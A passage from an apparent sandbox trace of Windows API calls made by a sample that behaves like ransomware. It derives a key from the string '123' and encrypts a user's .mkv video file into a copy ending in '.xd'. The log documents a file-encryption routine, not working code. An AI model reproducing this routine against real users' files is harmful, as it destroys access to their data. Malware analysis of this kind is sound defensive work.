lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621468, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0067.266] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0067.266] CryptCreateHash (in: hProv=0x17aa2b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0067.266] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.266] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.266] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.266] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629670, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.267] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0067.267] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.267] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.267] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.267] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.267] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0067.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621648, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0067.267] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0067.267] CryptHashData (hHash=0x164c7b0, pbData=0x1629640, dwDataLen=0x3, dwFlags=0x1) returned 1 [0067.267] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.267] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.267] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.268] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.268] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.268] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.268] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.268] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0067.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217c8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0067.268] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0067.268] CryptDeriveKey (in: hProv=0x17aa2b8, Algid=0x6610, hBaseData=0x164c7b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c4f0) returned 1 [0067.268] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.268] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.268] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.268] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.268] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.268] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.268] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0067.269] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0067.269] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0067.269] CryptDestroyHash (hHash=0x164c7b0) returned 1 [0067.269] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.269] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.269] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.269] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.269] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.269] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\_ d aacjtj.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0067.270] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.270] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0067.270] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.270] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.270] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.270] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb")) returned 0x10 [0067.270] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\_ d aacjtj.mkv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0067.271] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.271] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.271] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.271] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.273] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0067.273] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0067.282] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x572b, lpOverlapped=0x0) returned 1 [0067.290] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0067.298] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.298] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.298] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.298] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0067.300] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.300] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.300] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0067.300] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.301] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0067.301] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.301] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.301] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.301] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0067.301] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0067.302] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0067.302] CryptGetKeyParam (in: hKey=0x164c4f0, dwParam=0x7, pbData=0x1629700, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629700*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0067.302] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.305] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.305] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.305] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.305] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.305] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.305] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.305] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.305] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.305] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.306] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.306] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.306] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.306] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.306] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.306] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.306] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.306] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.306] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.306] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.306] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.306] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.306] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.306] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.309] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.309] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.309] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1572b, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x15730) returned 1 [0067.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.310] CharLowerBuffW (in: lpsz="byte[87857]", cchLength=0xb | out: lpsz="byte[87857]") returned 0xb [0067.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.314] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.314] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.314] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.315] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.315] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.316] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e64c8*, pdwDataLen=0x130e618*=0x1572b, dwBufLen=0x15730 | out: pbData=0x17e64c8*, pdwDataLen=0x130e618*=0x15730) returned 1 [0067.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.317] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.317] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.317] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.317] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.317] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.317] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.317] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.317] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.317] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.317] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.318] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.330] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 